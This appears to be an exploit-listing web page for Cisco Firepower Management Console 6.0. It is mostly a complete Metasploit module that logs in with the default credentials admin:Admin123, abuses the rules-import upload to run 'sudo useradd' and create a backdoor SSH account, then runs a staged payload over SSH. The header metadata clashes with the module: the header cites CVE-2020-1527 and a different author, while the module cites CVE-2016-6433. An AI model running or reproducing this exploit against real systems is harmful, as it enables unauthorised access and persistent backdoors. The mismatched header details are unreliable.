Cisco Firepower Management Console 6.0 Post Authentication UserAdd
CVE
Category
Price
Severity
CVE-2020-1527
CWE-284
$25,000
High
Author
Risk
Exploitation Type
Date
Alvaro Trigo Martin
High
Remote
2017-01-12
CPE
cpe:cpe:/a:cisco:firepower_management_console:6.0
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability None A There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017010071 Below is a copy:
Cisco Firepower Management Console 6.0 Post Authentication UserAdd ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Cisco Firepower Management Console.
The management system contains a configuration flaw that allows the www user to
execute the useradd binary, which can be abused to create backdoor accounts.
Authentication is required to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt', # Original discovery & PoC
'sinn3r' # Metasploit module
],
'References' =>
[
[ 'CVE', '2016-6433' ],
[ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 10 2016',
'CmdStagerFlavor'=> %w{ echo },
'DefaultOptions' =>
{
'SSL' => 'true',
'SSLVersion' => 'Auto',
'RPORT' => 443
},
'DefaultTarget' => 0))
register_options(
[
# admin:Admin123 is the default credential for 6.0.1
OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']),
OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']),
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console's SSH port', 22])
], self.class)
end
def check
# For this exploit to work, we need to check two services:
# * HTTP - To create the backdoor account for SSH
# * SSH - To execute our payload
vprint_status('Checking Cisco Firepower Management console...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213')
})
if res && res.code == 200
vprint_status("Console is found.")
vprint_status("Checking SSH service.")
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(rhost, 'admin',
port: datastore['SSHPORT'],
password: Rex::Text.rand_text_alpha(5),
auth_methods: ['password'],
non_interactive: true
)
end
rescue Timeout::Error
vprint_error('The SSH connection timed out.')
return Exploit::CheckCode::Unknown
rescue Net::SSH::AuthenticationFailed
# Hey, it talked. So that means SSH is running.
return Exploit::CheckCode::Appears
rescue Net::SSH::Exception => e
vprint_error(e.message)
end
end
Exploit::CheckCode::Safe
end
def get_sf_action_id(sid)
requirements = {}
print_status('Attempting to obtain sf_action_id from rulesimport.cgi')
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => "CGISESSID=#{sid}"
})
unless res
fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.')
end
sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1]
unless sf_action_id
fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi')
end
sf_action_id
end
def create_ssh_backdoor(sid, user, pass)
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
sf_action_id = get_sf_action_id(sid)
sh_name = 'exploit.sh'
print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")
mime_data = Rex::MIME::Message.new
mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"')
mime_data.add_part('file', nil, nil, 'form-data; name="source"')
mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"')
mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"')
mime_data.add_part(
"sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}",
'application/octet-stream',
nil,
"form-data; name="file"; filename="#{sh_name}""
)
send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => "CGISESSID=#{sid}",
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
'data' => mime_data.to_s,
'vars_get' => { 'no_mojo' => '1' },
})
end
def generate_new_username
datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5)
end
def generate_new_password
datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: 'cisco',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login
console_user = datastore['USERNAME']
console_pass = datastore['PASSWORD']
uri = normalize_uri(target_uri.path, 'login.cgi')
print_status("Attempting to login in as #{console_user}:#{console_pass}")
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'username' => console_user,
'password' => console_pass,
'target' => ''
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')
end
res_cookie = res.get_cookies
if res.code == 302 && res_cookie.include?('CGISESSID')
cgi_sid = res_cookie.scan(/CGISESSID=(w+);/).flatten.first
print_status("CGI Session ID: #{cgi_sid}")
print_good("Authenticated as #{console_user}:#{console_pass}")
report_cred(username: console_user, password: console_pass)
return cgi_sid
end
nil
end
def execute_command(cmd, opts = {})
@first_exec = true
cmd.gsub!(//tmp/, '/usr/tmp')
# Weird hack for the cmd stager.
# Because it keeps using > to write the payload.
if @first_exec
@first_exec = false
else
cmd.gsub!(/>>/, ' > ')
end
begin
Timeout.timeout(3) do
@ssh_socket.exec!("#{cmd}\n")
vprint_status("Executing #{cmd}")
end
rescue Timeout::Error
fail_with(Failure::Unknown, 'SSH command timed out')
rescue Net::SSH::ChannelOpenFailed
print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)')
retry
end
end
def init_ssh_session(user, pass)
print_status("Attempting to log into SSH as #{user}:#{pass}")
factory = ssh_socket_factory
opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: datastore['SSHPORT'],
use_agent: false,
config: false,
password: pass,
proxy: factory,
non_interactive: true
}
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
@ssh_socket = Net::SSH.start(rhost, user, opts)
end
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, e.message)
end
end
def exploit
# To exploit the useradd vuln, we need to login first.
sid = do_login
return unless sid
# After login, we can call the useradd utility to create a backdoor user
new_user = generate_new_username
new_pass = generate_new_password
create_ssh_backdoor(sid, new_user, new_pass)
# Log into the SSH backdoor account
init_ssh_session(new_user, new_pass)
begin
execute_cmdstager({:linemax => 500})
ensure
@ssh_socket.close
end
end
end
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